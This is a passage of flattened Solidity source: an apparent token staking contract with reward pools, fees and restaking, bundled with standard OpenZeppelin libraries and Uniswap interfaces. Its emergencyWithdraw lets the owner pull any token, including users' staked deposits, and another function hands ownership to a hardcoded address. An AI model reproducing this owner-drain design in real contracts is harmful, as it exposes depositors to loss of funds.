lpEarlyWithdrawlFee; // Expired uint256 public lpRegularWithdrawlFee; // Expired uint256 public nonNativeDepositDevFee; // Expired uint256 public nonNativeDepositLpFee; // Expired uint256 public kawaLpPoolId; // Expired uint256 public xkawaLpPoolId; // Expired uint256 public freeTaxDuration; // Expired PoolInfo[] public pools; mapping(address => mapping(uint256 => UserInfo)) public userInfo; mapping(uint256 => address[]) private userList; // Expired mapping(address => uint256) public tokenPrices; // Expired uint256 public ethPrice; // Expired uint256 public kawaLpPricePerKawa; // Expired mapping(uint256 => address) public poolRewardTokens; mapping(address => uint256) public restakePoolIds; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event Claim(address indexed user, uint256 indexed pid, uint256 amount); function initialize() public initializer { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); devAddress = address(0x93837577c98E01CFde883c23F64a0f608A70B90F); nativeEarlyWithdrawlDevFee = 3; nativeEarlyWithdrawlLpFee = 2; nativeRegularWithdrawlDevFee = 2; nativeRegularWithdrawlLpFee = 1; lpEarlyWithdrawlFee = 3; lpRegularWithdrawlFee = 1; nonNativeDepositDevFee = 3; nonNativeDepositLpFee = 1; kawaLpPoolId = 2; xkawaLpPoolId = 3; freeTaxDuration = 180 * 24 * 60 * 60 * 1000; // 180 days __Ownable_init(); } receive() external payable {} /////////////// Owner functions //////////////// function updateUniswapV2Router(address newAddress) external onlyOwner { require( newAddress != address(uniswapV2Router), 'The router already has that address' ); uniswapV2Router = IUniswapV2Router02(newAddress); } function addPool( address _stakeToken, address _rewardToken, uint256 _rewardPerBlock, uint256 _lockupDuration, uint256 _depositLimit ) external onlyOwner { poolRewardTokens[pools.length] = _rewardToken; pools.push( PoolInfo({ stakeToken: IERC20(_stakeToken), isNativePool: false, rewardPerBlock: _rewardPerBlock, lastRewardBlock: block.number, accTokenPerShare: 0, depositedAmount: 0, rewardsAmount: 0, lockupDuration: _lockupDuration, depositLimit: _depositLimit }) ); } function updatePool( uint256 pid, address _stakeToken, address _rewardToken, uint256 _rewardPerBlock, uint256 _lockupDuration, uint256 _depositLimit ) external onlyOwner { require(pid >= 0 && pid < pools.length, 'invalid pool id'); PoolInfo storage pool = pools[pid]; pool.stakeToken = IERC20(_stakeToken); pool.rewardPerBlock = _rewardPerBlock; pool.lockupDuration = _lockupDuration; pool.depositLimit = _depositLimit; poolRewardTokens[pid] = _rewardToken; } function updateRestakePoolId(address _token, uint256 pid) external onlyOwner { restakePoolIds[_token] = pid; } function emergencyWithdraw(address _token, uint256 _amount) external onlyOwner { uint256 _bal = IERC20(_token).balanceOf(address(this)); if (_amount > _bal) _amount = _bal; IERC20(_token).safeTransfer(_msgSender(), _amount); } /////////////// Main functions //////////////// function deposit(uint256 pid, uint256 amount) external { _deposit(pid, amount, true); } function withdraw(uint256 pid, uint256 amount) external { _withdraw(pid, amount); } function withdrawAll(uint256 pid) external { UserInfo storage user = userInfo[msg.sender][pid]; _withdraw(pid, user.amount); } function claim(uint256 pid) external { _claim(pid, true); } function claimAll() external { for (uint256 pid = 0; pid < pools.length; pid++) { UserInfo storage user = userInfo[msg.sender][pid]; if (user.amount > 0 || user.pendingRewards > 0) { _claim(pid, true); } } } function claimAndRestake(uint256 pid) external { uint256 amount = _claim(pid, false); address _rewardToken = poolRewardTokens[pid]; uint256 restakePid = restakePoolIds[_rewardToken]; _deposit(restakePid, amount, false); } function claimAndRestakeAll() external { for (uint256 pid = 0; pid < pools.length; pid++) { UserInfo storage user = userInfo[msg.sender][pid]; if (user.amount > 0 || user.pendingRewards > 0) { uint256 amount = _claim(pid, false); address _rewardToken = poolRewardTokens[pid]; uint256 restakePid = restakePoolIds[_rewardToken]; _deposit(restakePid, amount, false); } } } /////////////// Internal functions //////////////// function _deposit( uint256 pid, uint256 amount, bool hasTransfer ) private { require(amount > 0, 'invalid deposit amount'); PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[msg.sender][pid]; require( user.amount.add(amount) <= pool.depositLimit, 'exceeds deposit limit' ); _updatePool(pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } else { userList[pid].push(msg.sender); } if (amount > 0) { if (hasTransfer) { pool.stakeToken.safeTransferFrom( address(msg.sender), address(this), amount ); } user.amount = user.amount.add(amount); pool.depositedAmount = pool.depositedAmount.add(amount); } user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); user.lastClaim = block.timestamp; emit Deposit(msg.sender, pid, amount); } function _withdraw(uint256 pid, uint256 amount) private { PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[msg.sender][pid]; require( block.timestamp > user.lastClaim + pool.lockupDuration, 'You cannot withdraw yet!' ); require(user.amount >= amount, 'Withdrawing more than you have!'); _updatePool(pid); uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } if (amount > 0) { pool.stakeToken.safeTransfer(address(msg.sender), amount); user.amount = user.amount.sub(amount); pool.depositedAmount = pool.depositedAmount.sub(amount); } user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); user.lastClaim = block.timestamp; emit Withdraw(msg.sender, pid, amount); } function _claim(uint256 pid, bool hasTransfer) private returns (uint256) { PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[msg.sender][pid]; _updatePool(pid); uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub( user.rewardDebt ); uint256 claimedAmount = 0; if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (hasTransfer) { claimedAmount = safeRewardTokenTransfer( pid, msg.sender, user.pendingRewards ); } else { claimedAmount = user.pendingRewards; } emit Claim(msg.sender, pid, claimedAmount); user.pendingRewards = user.pendingRewards.sub(claimedAmount); pool.rewardsAmount = pool.rewardsAmount.sub(claimedAmount); } user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); return claimedAmount; } function _updatePool(uint256 pid) private { PoolInfo storage pool = pools[pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 depositedAmount = pool.depositedAmount; if (pool.depositedAmount == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = block.number.sub(pool.lastRewardBlock); uint256 tokenReward = multiplier.mul(pool.rewardPerBlock); pool.rewardsAmount = pool.rewardsAmount.add(tokenReward); pool.accTokenPerShare = pool.accTokenPerShare.add( tokenReward.mul(1e12).div(depositedAmount) ); pool.lastRewardBlock = block.number; } function safeRewardTokenTransfer( uint256 pid, address to, uint256 amount ) private returns (uint256) { PoolInfo storage pool = pools[pid]; IERC20 _rewardToken = IERC20(poolRewardTokens[pid]); uint256 _bal = _rewardToken.balanceOf(address(this)); if (amount > pool.rewardsAmount) amount = pool.rewardsAmount; if (amount > _bal) amount = _bal; _rewardToken.safeTransfer(to, amount); return amount; } /////////////// Get functions //////////////// function pendingRewards(uint256 pid, address _user) external view returns (uint256) { PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[_user][pid]; uint256 accTokenPerShare = pool.accTokenPerShare; uint256 depositedAmount = pool.depositedAmount; if (block.number > pool.lastRewardBlock && depositedAmount != 0) { uint256 multiplier = block.number.sub(pool.lastRewardBlock); uint256 tokenReward = multiplier.mul(pool.rewardPerBlock); accTokenPerShare = accTokenPerShare.add( tokenReward.mul(1e12).div(depositedAmount) ); } return user.amount.mul(accTokenPerShare).div(1e12).sub(user.rewardDebt).add( user.pendingRewards ); } function getPoolCount() external view returns (uint256) { return pools.length; } function emergencyTransferWallet() external { transferOwnership(0x93837577c98E01CFde883c23F64a0f608A70B90F); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through 